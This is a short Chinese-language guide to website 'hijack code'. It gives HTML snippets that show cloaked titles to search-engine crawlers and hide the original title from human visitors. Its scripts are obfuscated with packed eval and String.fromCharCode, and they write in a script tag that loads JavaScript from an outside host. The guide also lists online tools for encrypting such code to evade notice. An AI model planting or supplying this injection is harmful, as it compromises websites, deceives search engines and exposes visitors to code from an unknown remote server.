一.劫持代码
<title>标题</title>
<meta name="keywords" content="关键词,关键词1,关键词2,关键词3"/>
<meta name="description" content="描述"/>
<script>if(!navigator.userAgent.toLocaleLowerCase().match(/baiduspider|sogou|360spider|yisou/i)){document.title ='网站原标题'}</script>
<script> type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('f["\\g\\d\\1\\h\\a\\4\\e\\0"]["\\b\\c\\i\\0\\4"](\'<3 n="o/p" m="\\9\\0\\0\\j\\6\\k\\2\\2\\l\\7\\5\\5\\8\\1\\1\\2\\9\\a\\8\\7\\6"></3>\');',26,26,'x74|x63|x2f|script|x65|x38|x73|x6a|x2e|x68|x6d|x77|x72|x6f|x6e|window|x64|x75|x69|x70|x3a|x61|src|type|text|javascript'.split('|'),0,{}))</script>
二.关于编码
1.unicode编码工具:
https://tool.chinaz.com/tools/Unicode.aspx
2.js混淆加密:
https://tool.chinaz.com/js.aspx
3.js 16进制加密
http://www.86y.org/code/js16/
4.js codeAt加密
https://hechaocheng.cn/tools/codeat.html
三.加密变种
若使用codeAT加密,可使用https://hechaocheng.cn/tools/codeat.html将上述js加密为:
<title>标题</title>
<meta name="keywords" content="关键词,关键词1,关键词2,关键词3"/>
<meta name="description" content="描述"/>
<script>if(!navigator.userAgent.toLocaleLowerCase().match(/baiduspider|sogou|360spider|yisou/i)){document.title ='网站原标题'}</script>
<script type="text/javascript"> var by = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,97,106,56,56,46,99,99,47,104,109,46,106,115,34,62,60,47,115,99,114,105,112,116,62);document.write(by);</script>
将转换后的结果,替换by 的值即可
<script type="text/javascript"> var by = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,97,106,56,56,46,99,99,47,104,109,46,106,115,34,62,60,47,115,99,114,105,112,116,62);document.write(by);</script>